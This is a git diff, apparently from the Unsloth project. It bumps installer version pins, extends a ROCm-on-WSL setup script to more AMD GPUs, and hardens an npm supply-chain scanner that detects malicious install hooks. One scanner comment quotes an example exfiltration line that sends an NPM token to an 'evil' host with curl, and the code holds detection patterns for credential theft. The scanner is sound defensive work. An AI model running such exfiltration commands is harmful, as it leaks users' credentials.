substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
@ -2621,7 +2706,7 @@ if [ "$_MIGRATED" = true ]; then
# to prevent transitive torch resolution.
run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
--reinstall-package unsloth --reinstall-package unsloth-zoo \
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
"unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
# Resolve pydantic WITH deps so pip pins pydantic-core to the
# matching version (no-torch-runtime.txt below is --no-deps).
# All transitive deps are torch-free.
@ -2632,9 +2717,11 @@ if [ "$_MIGRATED" = true ]; then
run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
fi
else
# Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
# overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
--reinstall-package unsloth --reinstall-package unsloth-zoo \
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
"unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" ${_MLX_LM_EXCLUDE_ARG:-}
fi
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
substep "overlaying local repo (editable)..."
@ -2838,7 +2925,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
--upgrade-package unsloth --upgrade-package unsloth-zoo \
"unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
"unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
# Same pydantic-with-deps trick as the migrated branch.
run_install_cmd_retry "install pydantic (with deps for compatible core)" \
uv pip install --python "$_VENV_PY" pydantic
@ -2856,7 +2943,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
fi
elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
--upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6"
--upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
substep "overlaying local repo (editable)..."
run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
substep "overlaying unsloth-zoo from git main..."
@ -2865,7 +2952,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
"unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
else
run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
--upgrade-package unsloth -- "$PACKAGE_NAME"
--upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
fi
# AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
# CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
@ -2888,7 +2975,7 @@ else
tauri_log "STEP" "Installing Unsloth"
substep "installing unsloth (this may take a few minutes)..."
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto
run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
substep "overlaying local repo (editable)..."
run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
substep "overlaying unsloth-zoo from git main..."
@ -2991,6 +3078,13 @@ _run_setup_with_studio_home() {
"$@"
fi
}
if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
exit 1
fi
_WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
fi
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
_run_setup_with_studio_home env \
SKIP_STUDIO_BASE="$_SKIP_BASE" \
@ -2999,6 +3093,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
STUDIO_LOCAL_INSTALL=1 \
STUDIO_LOCAL_REPO="$_REPO_ROOT" \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
else
# Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@ -3013,6 +3108,7 @@ else
STUDIO_LOCAL_INSTALL=0 \
STUDIO_LOCAL_REPO= \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
fi
@ -3160,6 +3256,7 @@ if [ -t 1 ]; then
step "launch" "to start later, run:"
substep "unsloth studio -p 8888"
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
echo ""
;;
esac
@ -3181,5 +3278,6 @@ else
substep "unsloth studio -p 8888"
fi
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
echo ""
fi

57
scripts/install_rocm_wsl_strixhalo.sh
View file

@ -3,13 +3,14 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
#
# ──────────────────────────────────────────────────────────────────────────────
# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
# ──────────────────────────────────────────────────────────────────────────────
# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
#
# Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
# production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
@ -34,10 +35,12 @@ set -euo pipefail
# ── Tunables (override via env) ──────────────────────────────────────────────
ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install
GFX="gfx1151"
# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
GFX="${UNSLOTH_WSL_GFX:-}"
LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}" # ROCm/librocdxg git ref to build
# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
TORCH_INDEX=""
# Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
# torch itself into the real venv right after, so a duplicate download is wasteful.
SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
@ -220,12 +223,12 @@ $SUDO ldconfig
say "Persisting ROCm-on-WSL environment"
_envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
$SUDO tee "$_envfile" >/dev/null <<EOF
# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
# >>> Unsloth ROCm-on-WSL >>>
export HSA_ENABLE_DXG_DETECTION=1
export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
export PATH="${ROCM_DIR}/bin:\${PATH}"
export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
# <<< Unsloth ROCm-on-WSL <<<
EOF
# also drop into ~/.bashrc for interactive shells
if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
# ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
say "Verifying rocminfo sees ${GFX}"
say "Verifying rocminfo enumerates the GPU over DXG"
# Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
# rocminfo on first match, which under `set -o pipefail` turns a successful match
# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
# into a pipeline failure.
_rocminfo_out="$(rocminfo 2>/dev/null || true)"
if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
if [ -z "$_detected_gfx" ]; then
printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
fi
# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
fi
GFX="${GFX:-$_detected_gfx}"
# Display-only summary: best-effort (|| true) so head's early pipe-close under
# `set -o pipefail` can't fail the bootstrap after verification already passed.
printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
note "ROCm-on-WSL runtime is live for ${GFX}."
# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
if [ "$SMOKE_TEST" = "1" ]; then
say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
# Map the detected arch to AMD's repo.amd.com wheel family index.
case "$GFX" in
gfx1200|gfx1201) _fam="gfx120X-all" ;;
gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
*) _fam="$GFX" ;; # gfx1150/gfx1151/gfx90a: own index
esac
TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
_venv="${HOME}/.unsloth/rocm-smoketest"
rm -rf "$_venv"; python3 -m venv "$_venv"
"$_venv/bin/pip" install --quiet --upgrade pip
# gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
# AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
# deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
"$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
--extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
die "torch install from ${TORCH_INDEX} failed."
# WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
_tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
[ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
"$_venv/bin/python" - <<'PY'
import torch
ok = torch.cuda.is_available()

535
scripts/scan_npm_packages.py
View file

@ -40,8 +40,10 @@ from __future__ import annotations
import argparse
import atexit
import base64 as _b64 # imported only so the IOC string-scan can detect it
import bisect
import hashlib
import io
import itertools
import json
import os
import re
@ -897,20 +899,364 @@ def safe_extract(
# ─────────────────────────────────────────────────────────────────────
# How far back to look for an enclosing bracket opener. Symmetric with the
# forward cap so a host that sits deep inside a large options object (its opening
# `{` many properties above) still binds the whole object, not just its own line;
# a too-far start only over-binds (more context, still fail-closed), never less.
_MAX_CONT_LINES = 200
# Hard cap on how far forward a bracket group is followed to its close, measured
# from the matched line so the tail after the match is always reachable even when
# the opener was found near the backward limit (digest input only, never
# displayed); a realistic config object closes well within it.
_MAX_GROUP_LINES = 200
# JS string literal (single / double / template), blanked before counting
# brackets so a bracket inside a string is not mistaken for code.
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / on a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
object; tracking the running minimum keeps that opener visible so the group
binds the path/headers that follow. Only bracket characters are walked (pulled
out with one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _find_unescaped(line: str, quote: str, start: int) -> int:
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
i, n = start, len(line)
while i < n:
if line[i] == "\\":
i += 2
continue
if line[i] == quote:
return i
i += 1
return -1
# A `/` is a regex literal (not division) when the previous significant character
# is none (start) or one of these expression-position chars. Used only by the
# multi-line blanked view, and the span is unioned with the single-line view, so
# an over- or under-detection only ever grows the bound span (never shrinks it).
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
def _blank_js_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single, double, multi-line backtick template
literals) AND regex literal bodies with spaces across ``lines``, keeping the
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
never miscounts a ``)`` that lives inside a string -- including a template
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
cannot blank. Escapes are honoured."""
out: list[str] = []
in_back = False # inside a multi-line `template` literal
prev_sig = "" # last significant non-space char (for regex-vs-division)
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_back:
end = _find_unescaped(line, "`", i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 1))
i = end + 1
in_back = False
prev_sig = "`"
continue
ch = line[i]
if ch in " \t":
buf.append(ch)
i += 1
continue
if ch in "'\"`":
end = _find_unescaped(line, ch, i + 1)
if end == -1:
buf.append(" " * (n - i))
i = n
if ch == "`": # opens a template literal that runs past this line
in_back = True
else:
buf.append(" " * (end - i + 1))
i = end + 1
prev_sig = "v" # a string is a value: a following `/` is division
continue
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
# char class. A regex never spans lines, so no close on the line
# means this `/` is really division.
j, in_class, closed = i + 1, False, False
while j < n:
c = line[j]
if c == "\\":
j += 2
continue
if c == "[":
in_class = True
elif c == "]":
in_class = False
elif c == "/" and not in_class:
j += 1
closed = True
break
j += 1
if closed:
buf.append(" " * (j - i))
i = j
prev_sig = "v" # a regex is a value
continue
buf.append(ch)
i += 1
prev_sig = "/"
continue
buf.append(ch)
i += 1
prev_sig = ch
out.append("".join(buf))
return out
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
"""Precompute once per evidence call: raw lines for display, two string-blanked
views for bracket counting (single-line via regex = legacy, and multi-line
aware so a template literal spanning lines is blanked), and newline offsets for
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
file on every single match (which was O(matches x file size))."""
lines = text.split("\n")
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
ml_blanked = _blank_js_strings(lines)
nl = [p for p, ch in enumerate(text) if ch == "\n"]
return lines, sl_blanked, ml_blanked, nl
# Cap on formatted matches in one evidence string; beyond it the remaining match
# texts are folded into a single digest so a huge/minified file cannot build a
# multi-megabyte evidence blob while an added/removed match past the cap still
# changes the key.
_MAX_EVIDENCE_MATCHES = 64
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
blanked view: scan back to the still-open opener, then forward to its close."""
# Backward: find the line that opens a bracket still unclosed at the match,
# so a match inside a multi-line object starts from the object opener. Each line
# is reduced to (L, R) and applied in order: first the L closers consume open
# brackets from the running context (a stray closer whose opener is outside the
# window only clamps depth at 0, it never goes negative), then the R openers
# add to it. Tracking order this way (rather than a single net per line) keeps a
# trailing opener visible even when leading closers on the same line net it to
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
# changed path/headers after such a line ride the unchanged-hostname key.
start = idx
depth = 0
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
left, right = _bracket_lr(blanked[j])
if left >= depth:
depth = 0 # everything opened so far in the window has closed
start = idx
else:
depth -= left
if right > 0:
if depth == 0:
start = j # outermost still-open opener begins here
depth += right
# Forward: extend until the group opened at `start` closes past the match. The
# same order-aware reduction is used (clamping leading closers at 0) so the
# foreign `})` on the opener line does not drive the count negative and stop the
# scan before the real close. The cap is measured from the match (`idx`), not
# from `start`, so an opener found near the backward limit does not eat the
# whole forward budget and drop the path/headers/body that follow the match.
depth = 0
end = start
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
left, right = _bracket_lr(blanked[j])
depth = max(0, depth - left) + right
end = j
if j >= idx and depth <= 0:
break
return start, end
def _canon_preserve_strings(text: str) -> str:
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
space (so a reindent or spacing change between tokens stays stable) while
preserving whitespace INSIDE single/double/backtick string literals (so a
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
edit along with harmless indentation. Leading/trailing outside whitespace is
dropped; escapes inside strings are honoured. Used for the evidence hash and
the logical-line digests so the two stay consistent."""
out: list[str] = []
i, n = 0, len(text)
quote: str | None = None
pending_space = False
while i < n:
ch = text[i]
if quote is not None:
out.append(ch)
if ch == "\\" and i + 1 < n:
out.append(text[i + 1])
i += 2
continue
if ch == quote:
quote = None
i += 1
continue
if ch.isspace():
pending_space = True
i += 1
continue
if pending_space and out:
out.append(" ")
pending_space = False
out.append(ch)
if ch in "'\"`":
quote = ch
i += 1
return "".join(out)
def _logical_line_text(
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
) -> str:
"""The matched line plus the bracket group it belongs to (the enclosing
multi-line object/call, so a changed ``path``/``headers``/body on another line
binds). Returns the UNION of the groups found in the single-line-blanked view
(legacy: a payload embedded inside a template still counts so its brackets bind
the call) and the multi-line-blanked view (a bracket inside a template literal
spanning lines no longer closes the group early). Unioning never shrinks the
span below either view, so neither blanking strategy can drop a line a
malicious change relies on."""
s1, e1 = _scan_group(sl_blanked, idx)
s2, e2 = _scan_group(ml_blanked, idx)
start, end = min(s1, s2), max(e1, e2)
return " ".join(lines[start : end + 1])
def _format_match(
text: str,
lines: list[str],
sl_blanked: list[str],
ml_blanked: list[str],
nl: list[int],
m: re.Match,
max_chars: int,
) -> str:
# The shown snippet is a small window around the match; append a digest of the
# full LOGICAL line (the matched line plus its bracket-continuation lines)
# whenever the snippet does not already show all of it, so a changed payload
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
# mapped to line numbers via bisect over precomputed newline positions, so this
# is O(log n) instead of rescanning the file prefix for every match.
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
line_start = nl[idx - 1] + 1 if idx > 0 else 0
ke = bisect.bisect_left(nl, m.end())
line_end = nl[ke] if ke < len(nl) else len(text)
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
start = max(line_start, m.start() - 30)
end = min(line_end, m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
if snippet != full_logical:
# Normalize before digesting, matching _evidence_hash, so a formatter-only
# reindent of the bound continuation lines does not reopen -- but preserve
# whitespace inside string literals so a changed request/payload body does.
canon = _canon_preserve_strings(full_logical)
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
snippet = f"{snippet} sha256:{digest}"
return snippet
def _stream_overflow_digest(
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> tuple[int, str]:
"""A single digest binding the LOGICAL line (the bound bracket-group context,
not just the regex match text) of every overflow match in the iterable, plus
the count of matches folded. Streams the matches (any iterable of re.Match) so a
huge overflow never materializes a list. Whitespace-normalized to match
_evidence_hash so a reindent does not reopen."""
h = hashlib.sha256()
count = 0
for m in matches:
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
count += 1
return count, h.hexdigest()
def _fold_overflow_match(
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> None:
"""Fold one overflow match's whitespace-normalized logical-line context into the
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
fold in _outbound_host_evidence so both produce the identical digest."""
idx = bisect.bisect_left(nl, m.start())
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
h.update(b"\x00")
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
def _evidence(
text: str,
pat: re.Pattern,
max_chars: int = 200,
) -> str:
m = pat.search(text)
if not m:
# Record every match (not a truncated sample) so an extra match appended to an
# already-flagged file changes the evidence instead of riding the first few.
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
# (binding their logical-line context) so the evidence string stays bounded
# while a changed payload past the cap still reopens. The matches are streamed
# from finditer rather than materialized into a list: a generated file can
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
# re.Match per occurrence before applying the cap would stall or OOM the scan.
it = pat.finditer(text)
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
if not shown_matches:
return ""
start = max(0, m.start() - 30)
end = min(len(text), m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
return snippet
lines, sl_blanked, ml_blanked, nl = _index_text(text)
shown = [
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
]
# Fold the rest (past the cap) into one digest as they arrive, never building a
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{digest}")
return " | ".join(shown)
def _ioc_evidence(text: str, needle: str) -> str:
"""Matched-line context (with bracket-group continuation) for a literal IOC
needle, so a changed adjacent fetch/exfil body reopens the key instead of
riding the bare constant. Falls back to the needle itself if, defensively,
nothing matches (the caller only reaches here when ``needle in text``)."""
return _evidence(text, re.compile(re.escape(needle))) or needle
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
body = scripts.get(hook)
if not isinstance(body, str):
continue
# Pin the whole lifecycle body via one digest shared by every lifecycle
# finding below: a script that keeps the matched signal but changes
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
# https://evil`) must reopen. The stored evidence is a bounded matched
# snippet plus this digest, never the entire body, so `--write-baseline`
# on a package with a multi-MiB install script does not bloat the baseline
# JSON while the digest still binds the full body. Normalized to match
# _evidence_hash so a reindent alone does not reopen, while whitespace
# inside quoted strings is preserved so a changed quoted payload does.
body_digest = hashlib.sha256(
_canon_preserve_strings(body).encode("utf-8", "replace")
).hexdigest()
if _LIFECYCLE_FETCH_EXEC.search(body):
findings.append(
Finding(
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"lifecycle-fetch-exec ({hook})",
evidence = body,
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` fetches an external "
"resource and pipes/chains it to an "
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-path-in-lifecycle ({hook})",
evidence = body,
evidence = (
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
f"body-sha256:{body_digest}"
),
detail = (
f"`scripts.{hook}` references {why} "
f"({path_substr!r}); install-time access "
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-env-in-lifecycle ({hook})",
evidence = _evidence(body, _JS_ENV_TOKEN),
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` references a credential "
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
return False
def _outbound_host_evidence(text: str, host: str) -> str:
"""Evidence capturing the host WITH its outbound context (URL path, fetch
call, host config), so a changed path/headers/body reopens the key instead
of riding the bare host literal. Falls back to the host if none matches."""
host_re = re.escape(host)
patterns = (
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
re.compile(
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
re.IGNORECASE,
),
# Host-config form: capture the whole line (path/headers/body), so a
# changed outbound payload on the same hostname line reopens the key.
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
)
# Record EVERY outbound context for the host, not just the first form that
# matches: a file that already has a baselined URL for the host and later adds
# a separate host-config request (or a second URL) must change the evidence so
# the new payload cannot inherit the old key. Forms are claimed in order, and a
# region already claimed by an earlier form is skipped, so the common
# single-context case keeps its existing snippet. Each form is capped at
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
# minified file cannot make the overlap check quadratic; once chosen is full
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
# list, so a host repeated millions of times cannot OOM the scan) and an added
# context still reopens.
lines, sl_blanked, ml_blanked, nl = _index_text(text)
claimed: list[tuple[int, int]] = []
chosen: list[re.Match] = []
overflow_count = 0
overflow_hash = hashlib.sha256()
for pat in patterns:
for m in pat.finditer(text):
if len(chosen) < _MAX_EVIDENCE_MATCHES:
# Overlap check runs only while filling the display list, so
# `claimed` is bounded by the cap and this stays O(cap) per match
# (not quadratic), while every later match is still counted below.
if any(m.start() < e and s < m.end() for s, e in claimed):
continue
claimed.append((m.start(), m.end()))
chosen.append(m)
else:
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
overflow_count += 1
if not chosen:
return host
chosen.sort(key = lambda m: m.start())
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(shown)
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
# IOC substrings (literal, case-sensitive).
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
# context (with its bracket-group continuation), not the bare needle: an IOC
# host/hash left in place while the adjacent fetch/exfil body changes must
# reopen the key instead of riding the constant.
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
findings.append(
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
